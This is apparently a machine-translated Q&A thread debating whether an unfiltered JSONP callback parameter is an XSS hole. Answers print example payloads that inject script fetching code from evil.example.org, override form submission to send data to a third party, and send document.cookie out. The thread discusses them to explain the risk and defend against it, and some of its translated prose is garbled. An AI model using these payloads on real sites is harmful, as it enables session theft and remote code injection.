明らかなjsonp xssの脆弱性

Question

私たちの顧客の中には、私たちのJSONPエンドポイントすべてで認識されているXSSの脆弱性について争っている人がいますが、実際に脆弱性を構成するかどうかは不一致です。私が何かを逃していないことを確かめるためにコミュニティの意見を聞きたい。

ので、任意のJSONPシステムと同様に、我々のようなエンドポイントを持っています。お客様がいることを訴えている

callback123({"foo":"bar"}); 

：cbパラメータの値が応答に戻って再生される

http://foo.com/jsonp?cb=callback123 

CBパラメータでHTMLをフィルタリングしないので、次のような例が考えられます。

コンテンツタイプがtext/htmlを返すURLの場合は、ブラウザがHTMLをレンダリングし、潜在的に悪質なjavascriptをonloadハンドラで実行するという問題があります。クッキーを盗んで攻撃者のサイトに送信したり、フィッシング詐欺用の偽のログイン画面を生成したりするために使用することができます。ユーザーがドメインをチェックして信頼すると判断したので、年齢を指定してログインします。

ここでは、コンテンツタイプのヘッダーをapplication/javascriptに設定しています。この場合、さまざまなブラウザでさまざまな動作が発生します。つまり、Firefoxは生のテキストを表示し、IEは「別名で保存...」ダイアログを開きます。私はそれらのいずれかが特に悪用されるとは考えていない。 Firefoxユーザーは、悪意のあるテキストを読んで、ブリッジから飛び降りて多くのことを考えさせることはありません。そして、IEのユーザーはおそらくダイアログとヒットのキャンセルとして保存することによって混乱するつもりです。

私は、IEユーザがセーブして.jsファイルを開くことに騙されて、マイクロソフトのJScriptエンジンを通過し、ユーザのマシンにあらゆる種類のアクセスを取得するケースを見ることができました。しかしそれは起こりそうにない。それはここで最大の脅威ですか、私が逃した他の脆弱性がありますか？

（明らかに、正当なJavaScript識別子を受け入れるだけのフィルタリングを入れて、ちょっとしたケースでは「修正」するつもりですが、逃したかもしれない他の脅威に関するダイアログが必要でした。）

Answer 1

コードを挿入する何かをすることから彼らを止めることは何もありません。

http://example.com/jsonp?cb=HTMLFormElement.prototype.submit = function() { /* send form data to some third-party server */ };fooなどのURLを想像してください。 JSONPをどのように処理するかに応じて、クライアントがこれを受け取ると、任意の複雑さのJSを実行する機能を導入することができます。

攻撃の仕組みについて：http://example.com/jsonpを除くすべてのURLの透過プロキシであるHTTPプロキシを想像してください.HTTPプロキシは、クエリ文字列のcb部分を取り、その前にいくつかの悪質なJSを付加してリダイレクトしますそのURLに

Answer 2

あなたのサイトは、そのコールバックの名前（ "cb"の値）が以前に入力された他の値から盲目的に派生した場合、XSSの脆弱性が存在します。ユーザーがJSONP APIを介してJavaScriptを送信して、また戻ってくるURLを手動で作成できるという事実は、ブラウザのJavaScriptコンソールから同じJavaScriptを直接実行できるという点だけではありません。

フォームからフィルタリングされていないユーザー入力を使用したコールバックにサイトを戻したり、以前にデータベースに何かを保存していた他のフォームからもっと狡猾にJSONコンテンツを戻したい場合は、 。あなたが反応して「コメント」フィールドを持っていた場合と同様に、：

callback123({ "restaurantName": "Dirty Pete's Burgers", "comment": "x"+alert("haxored")+"y" }) 

を、次にその値x"+alert("haxored")+"yたそのコメントは、XSS攻撃になります。しかし、良いJSONエンコーダであれば、二重引用符を引用することでそれを修正できます。

つまり、コールバック名が有効なJavaScript識別子であることを確認することには問題ありません。とにかく他にはそれほど多くのことはできません。なぜなら、定義上、公開JSONPサービスは、正常に動作するためには、クライアントのページが望んでいるものを何でもすることになっているからです。

Answer 3

Pointyが示すように、URLを直接呼び出すだけでは悪用できません。ただし、独自のJavaScriptコードのいずれかがユーザー提供のデータでJSONサービスを呼び出し、応答の値をドキュメントにレンダリングするか、またはeval()の応答を返すかどうか（アプリが進化するにつれて、時間が経つと）、本当に悪用可能なXSSの脆弱性が存在します。

個人的には、今日でも悪用されない可能性があるにもかかわらず、個人的にはこのリスクは低いと考えられます。将来的には、より高いリスクの脆弱性を導入する責任の一部を負う可能性を排除するのはどうでしょうか？

Answer 4

彼らの注入は、あなたが$_GET['callback']（仮定PHP）は有効なJavaScript関数名であることを確認することは比較的些細なことでしょう

</script><h1>pwned</h1>のようなものでなければならないであろう。

JSONPの全体が、XSSタイプの脆弱性を試して防御するブラウザの制限を乗り越えているため、あるレベルまでJSONPプロバイダと要求サイト間の信頼関係が必要です。

ただし、この脆弱性は、クライアントがユーザー入力をスマートに処理していない場合にのみ表示されます。すべてのJSONPコールバック名がハードコードされている場合、脆弱性はありません。呼ぶだろう

http://example.org/api.php 
?callback=$.getScript('//evil.example.org/x.js');var dontcare=(

：

$.getScript('//evil.example.org/x.js');var dontcare= ({ ... }); 

そして、HTTP（S）：//evil.example.org/x.jsう

Answer 5

別の例では、これらのような2つの要求を行うことになりますリクエスト：

http://example.org/api.php 
?callback=new Mothership({cookie:document.cookie, loc: window.location, apidata: 

呼び出します。

new Mothership({cookie:document.cookie, loc: window.location, apidata: { .. }); 

可能性は無限です。

JSONコールバックのサニタイズの例については、Do I need to sanitize the callback parameter from a JSONP call?を参照してください。

また、（？のバージョンの）Internet Explorerは、Content-Typeヘッダーを無視します。それは頑固で、最初の数バイトで自分自身を探しに行きます。もしhtmlのような内容なら、それをすべて解析してtext/htmlとしてすべて実行してください...